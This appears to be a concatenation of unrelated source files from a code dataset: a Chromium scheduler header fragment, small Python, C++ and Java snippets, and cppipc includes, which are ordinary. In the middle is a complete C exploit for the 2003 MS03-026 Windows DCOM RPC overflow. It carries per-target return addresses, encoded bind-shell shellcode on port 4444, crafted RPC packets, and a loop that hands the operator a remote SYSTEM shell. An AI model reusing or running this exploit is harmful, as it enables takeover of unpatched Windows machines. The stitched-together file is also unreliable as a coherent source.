bool did_invalidate_layer_tree_frame_sink() const {
return did_invalidate_layer_tree_frame_sink_;
}
// Indicates that prepare-tiles is required. This guarantees another
// PrepareTiles will occur shortly (even if no redraw is required).
void SetNeedsPrepareTiles();
// If the scheduler attempted to draw, this provides feedback regarding
// whether or not a CompositorFrame was actually submitted. We might skip the
// submitting anything when there is not damage, for example.
void DidSubmitCompositorFrame();
// Notification from the LayerTreeFrameSink that a submitted frame has been
// consumed and it is ready for the next one.
void DidReceiveCompositorFrameAck();
int pending_submit_frames() const { return pending_submit_frames_; }
// Indicates whether to prioritize impl thread latency (i.e., animation
// smoothness) over new content activation.
void SetTreePrioritiesAndScrollState(TreePriority tree_priority,
ScrollHandlerState scroll_handler_state);
// Indicates if the main thread will likely respond within 1 vsync.
void SetCriticalBeginMainFrameToActivateIsFast(bool is_fast);
// A function of SetTreePrioritiesAndScrollState and
// SetCriticalBeginMainFrameToActivateIsFast.
bool ImplLatencyTakesPriority() const;
// Indicates that a new begin main frame flow needs to be performed, either
// to pull updates from the main thread to the impl, or to push deltas from
// the impl thread to main.
void SetNeedsBeginMainFrame();
bool needs_begin_main_frame() const { return needs_begin_main_frame_; }
void SetMainThreadWantsBeginMainFrameNotExpectedMessages(bool new_state);
bool wants_begin_main_frame_not_expected_messages() const {
return wants_begin_main_frame_not_expected_;
}
// Requests a single impl frame (after the current frame if there is one
// active).
void SetNeedsOneBeginImplFrame();
// Call this only in response to receiving an Action::SEND_BEGIN_MAIN_FRAME
// from NextAction.
// Indicates that all painting is complete.
void NotifyReadyToCommit();
// Call this only in response to receiving an Action::SEND_BEGIN_MAIN_FRAME
// from NextAction if the client rejects the BeginMainFrame message.
void BeginMainFrameAborted(CommitEarlyOutReason reason);
// For Android WebView, resourceless software draws are allowed even when
// invisible.
void SetResourcelessSoftwareDraw(bool resourceless_draw);
// Indicates whether drawing would, at this time, make sense.
// CanDraw can be used to suppress flashes or checkerboarding
// when such behavior would be undesirable.
void SetCanDraw(bool can);
// For Android WebView, indicates that the draw should be skipped because the
// frame sink is not ready to receive frames.
void SetSkipDraw(bool skip);
// Indicates that the pending tree is ready for activation. Returns whether
// the notification received updated the state for the current pending tree,
// if any.
bool NotifyReadyToActivate();
// Indicates the active tree's visible tiles are ready to be drawn.
void NotifyReadyToDraw();
enum class AnimationWorkletState { PROCESSING, IDLE };
enum class PaintWorkletState { PROCESSING, IDLE };
enum class TreeType { ACTIVE, PENDING };
// Indicates if currently processing animation worklets for the active or
// pending tree. This is used to determine if the draw deadline should be
// extended or activation delayed.
void NotifyAnimationWorkletStateChange(AnimationWorkletState state,
TreeType tree);
// Sets whether asynchronous paint worklets are running. Paint worklets
// running should block activation of the pending tree, as it isn't fully
// painted until they are done.
void NotifyPaintWorkletStateChange(PaintWorkletState state);
void SetNeedsImplSideInvalidation(bool needs_first_draw_on_activation);
bool has_pending_tree() const { return has_pending_tree_; }
bool active_tree_needs_first_draw() const {
return active_tree_needs_first_draw_;
}
void DidPrepareTiles();
void DidLoseLayerTreeFrameSink();
void DidCreateAndInitializeLayerTreeFrameSink();
bool HasInitializedLayerTreeFrameSink() const;
// True if we need to abort draws to make forward progress.
bool PendingDrawsShouldBeAborted() const;
bool CouldSendBeginMainFrame() const;
void SetDeferBeginMainFrame(bool defer_begin_main_frame);
void SetVideoNeedsBeginFrames(bool video_needs_begin_frames);
bool video_needs_begin_frames() const { return video_needs_begin_frames_; }
bool did_submit_in_last_frame() const { return did_submit_in_last_frame_; }
bool draw_succeeded_in_last_frame() const {
return draw_succeeded_in_last_frame_;
}
bool needs_impl_side_invalidation() const {
return needs_impl_side_invalidation_;
}
bool previous_pending_tree_was_impl_side() const {
return previous_pending_tree_was_impl_side_;
}
bool critical_begin_main_frame_to_activate_is_fast() const {
return critical_begin_main_frame_to_activate_is_fast_;
}
void set_should_defer_invalidation_for_fast_main_frame(bool defer) {
should_defer_invalidation_for_fast_main_frame_ = defer;
}
bool should_defer_invalidation_for_fast_main_frame() const {
return should_defer_invalidation_for_fast_main_frame_;
}
int aborted_begin_main_frame_count() const {
return aborted_begin_main_frame_count_;
}
protected:
bool BeginFrameRequiredForAction() const;
bool BeginFrameNeededForVideo() const;
bool ProactiveBeginFrameWanted() const;
// Indicates if we should post the deadline to draw immediately. This is true
// when we aren't expecting a commit or activation, or we're prioritizing
// active tree draw (see ImplLatencyTakesPriority()).
bool ShouldTriggerBeginImplFrameDeadlineImmediately() const;
// Indicates if we shouldn't schedule a deadline. Used to defer drawing until
// the entire pipeline is flushed and active tree is ready to draw for
// headless.
bool ShouldBlockDeadlineIndefinitely() const;
bool ShouldPerformImplSideInvalidation() const;
bool CouldCreatePendingTree() const;
bool ShouldDeferInvalidatingForMainFrame() const;
bool ShouldAbortCurrentFrame() const;
bool ShouldBeginLayerTreeFrameSinkCreation() const;
bool ShouldDraw() const;
bool ShouldActivateSyncTree() const;
bool ShouldSendBeginMainFrame() const;
bool ShouldCommit() const;
bool ShouldPrepareTiles() const;
bool ShouldInvalidateLayerTreeFrameSink() const;
bool ShouldNotifyBeginMainFrameNotExpectedUntil() const;
bool ShouldNotifyBeginMainFrameNotExpectedSoon() const;
void WillDrawInternal();
void WillPerformImplSideInvalidationInternal();
void DidDrawInternal(DrawResult draw_result);
const SchedulerSettings settings_;
LayerTreeFrameSinkState layer_tree_frame_sink_state_ =
LayerTreeFrameSinkState::NONE;
BeginImplFrameState begin_impl_frame_state_ = BeginImplFrameState::IDLE;
BeginMainFrameState begin_main_frame_state_ = BeginMainFrameState::IDLE;
// A redraw is forced when too many checkerboarded-frames are produced during
// an animation.
ForcedRedrawOnTimeoutState forced_redraw_state_ =
ForcedRedrawOnTimeoutState::IDLE;
// These are used for tracing only.
int commit_count_ = 0;
int current_frame_number_ = 0;
int last_frame_number_submit_performed_ = -1;
int last_frame_number_draw_performed_ = -1;
int last_frame_number_begin_main_frame_sent_ = -1;
int last_frame_number_invalidate_layer_tree_frame_sink_performed_ = -1;
// Inputs from the last impl frame that are required for decisions made in
// this impl frame. The values from the last frame are cached before being
// reset in OnBeginImplFrame.
struct FrameEvents {
bool commit_had_no_updates = false;
bool did_commit_during_frame = false;
};
FrameEvents last_frame_events_;
// These are used to ensure that an action only happens once per frame,
// deadline, etc.
bool did_draw_ = false;
bool did_send_begin_main_frame_for_current_frame_ = true;
// Initialized to true to prevent begin main frame before begin frames have
// started. Reset to true when we stop asking for begin frames.
bool did_notify_begin_main_frame_not_expected_until_ = true;
bool did_notify_begin_main_frame_not_expected_soon_ = true;
bool did_commit_during_frame_ = false;
bool did_invalidate_layer_tree_frame_sink_ = false;
bool did_perform_impl_side_invalidation_ = false;
bool did_prepare_tiles_ = false;
int consecutive_checkerboard_animations_ = 0;
int pending_submit_frames_ = 0;
int submit_frames_with_current_layer_tree_frame_sink_ = 0;
bool needs_redraw_ = false;
bool needs_prepare_tiles_ = false;
bool needs_begin_main_frame_ = false;
bool needs_one_begin_impl_frame_ = false;
bool visible_ = false;
bool begin_frame_source_paused_ = false;
bool resourceless_draw_ = false;
bool can_draw_ = false;
bool skip_draw_ = false;
bool has_pending_tree_ = false;
bool pending_tree_is_ready_for_activation_ = false;
bool active_tree_needs_first_draw_ = false;
bool did_create_and_initialize_first_layer_tree_frame_sink_ = false;
TreePriority tree_priority_ = NEW_CONTENT_TAKES_PRIORITY;
ScrollHandlerState scroll_handler_state_ =
ScrollHandlerState::SCROLL_DOES_NOT_AFFECT_SCROLL_HANDLER;
bool critical_begin_main_frame_to_activate_is_fast_ = true;
bool main_thread_missed_last_deadline_ = false;
bool defer_begin_main_frame_ = false;
bool video_needs_begin_frames_ = false;
bool last_commit_had_no_updates_ = false;
bool active_tree_is_ready_to_draw_ = true;
bool did_attempt_draw_in_last_frame_ = false;
bool draw_succeeded_in_last_frame_ = false;
bool did_submit_in_last_frame_ = false;
bool needs_impl_side_invalidation_ = false;
bool next_invalidation_needs_first_draw_on_activation_ = false;
bool should_defer_invalidation_for_fast_main_frame_ = true;
bool begin_frame_is_animate_only_ = false;
// Number of async mutation cycles for the active tree that are in-flight or
// queued. Can be 0, 1 or 2.
int processing_animation_worklets_for_active_tree_ = 0;
// Indicates if an aysnc mutation cycle is in-flight or queued for the pending
// tree. Only one can be running or queued at any time.
bool processing_animation_worklets_for_pending_tree_ = false;
// Indicates if asychronous paint worklet painting is ongoing for the pending
// tree. During this time we should not activate the pending tree.
bool processing_paint_worklets_for_pending_tree_ = false;
bool previous_pending_tree_was_impl_side_ = false;
bool current_pending_tree_is_impl_side_ = false;
bool wants_begin_main_frame_not_expected_ = false;
// If set to true, the pending tree must be drawn at least once after
// activation before a new tree can be activated.
bool pending_tree_needs_first_draw_on_activation_ = false;
// Number of consecutive BeginMainFrames that were aborted without updates.
int aborted_begin_main_frame_count_ = 0;
};
} // namespace cc
#endif // CC_SCHEDULER_SCHEDULER_STATE_MACHINE_H_
| 6,222 |
2,479 | from __future__ import absolute_import, division, print_function
import sys
import pytest
@pytest.fixture(scope="session")
def C():
"""
Return a simple but fully featured attrs class with an x and a y attribute.
"""
import attr
@attr.s
class C(object):
x = attr.ib()
y = attr.ib()
return C
collect_ignore = []
if sys.version_info[:2] < (3, 6):
collect_ignore.extend([
"tests/test_annotations.py",
"tests/test_init_subclass.py",
])
| 210 |
859 | <gh_stars>100-1000
#include "pch.h"
TEST_CASE("fast_iterator")
{
{
auto v = winrt::single_threaded_vector<int>({ 1, 2, 3 });
std::vector<int> result;
std::copy(begin(v), end(v), std::back_inserter(result));
REQUIRE((result == std::vector{ 1, 2, 3 }));
}
{
auto v = winrt::single_threaded_vector<int>({ 1, 2, 3 });
std::vector<int> result;
std::copy(rbegin(v), rend(v), std::back_inserter(result));
REQUIRE((result == std::vector{ 3, 2, 1 }));
}
}
| 255 |
613 | <reponame>leomindez/from-java-to-ceylon<filename>code/java/classes/classes-09.java
public class ByteArrayUtils {
public static String toHexString(byte[] data) {
}
}
final byte[] dummyData = new byte[10];
final String hexValue = ByteArrayUtils.toHexString(dummyData);
| 104 |
6,550 | <filename>MS03-026/66.c
/*
DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
Written by <NAME> <hdm [at] metasploit.com>
- Usage: ./dcom <Target ID> <Target IP>
- Targets:
- 0 Windows 2000 SP0 (english)
- 1 Windows 2000 SP1 (english)
- 2 Windows 2000 SP2 (english)
- 3 Windows 2000 SP3 (english)
- 4 Windows 2000 SP4 (english)
- 5 Windows XP SP0 (english)
- 6 Windows XP SP1 (english)
*/
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char *targets [] =
{
"Windows 2000 SP0 (english)",
"Windows 2000 SP1 (english)",
"Windows 2000 SP2 (english)",
"Windows 2000 SP3 (english)",
"Windows 2000 SP4 (english)",
"Windows XP SP0 (english)",
"Windows XP SP1 (english)",
NULL
};
unsigned long offsets [] =
{
0x77e81674,
0x77e829ec,
0x77e824b5,
0x77e8367a,
0x77f92a9b,
0x77e9afe3,
0x77e626ba,
};
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff" /* return address */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int main(int argc, char **argv)
{
int sock;
int len,len1;
unsigned int target_id;
unsigned long ret;
struct sockaddr_in target_ip;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
printf("---------------------------------------------------------\n");
printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
printf("- Original code by FlashSky and Benjurry\n");
printf("- Rewritten by HDM <hdm [at] metasploit.com>\n");
if(argc<3)
{
printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]);
printf("- Targets:\n");
for (len=0; targets[len] != NULL; len++)
{
printf("- %d\t%s\n", len, targets[len]);
}
printf("\n");
exit(1);
}
/* yeah, get over it :) */
target_id = atoi(argv[1]);
ret = offsets[target_id];
printf("- Using return address of 0x%.8x\n", ret);
memcpy(sc+36, (unsigned char *) &ret, 4);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(port);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
perror("- Connect");
return(0);
}
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
perror("- Send");
return(0);
}
len=recv(sock, buf1, 1000, 0);
if (send(sock,buf2,len1,0)== -1)
{
perror("- Send");
return(0);
}
close(sock);
sleep(1);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(4444);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
printf("- Exploit appeared to have failed.\n");
return(0);
}
printf("- Dropping to System Shell...\n\n");
shell(sock);
return(0);
}
// milw0rm.com [2003-07-26]
| 10,296 |
493 | <filename>oss_src/cppipc/client/comm_client.cpp
/**
* Copyright (C) 2016 Turi
* All rights reserved.
*
* This software may be modified and distributed under the terms
* of the BSD license. See the LICENSE file for details.
*/
#include <boost/bind.hpp>
#include <boost/algorithm/string/predicate.hpp>
#include <boost/range/adaptor/reversed.hpp>
#include <cppipc/client/comm_client.hpp>
#include <cppipc/common/object_factory_proxy.hpp>
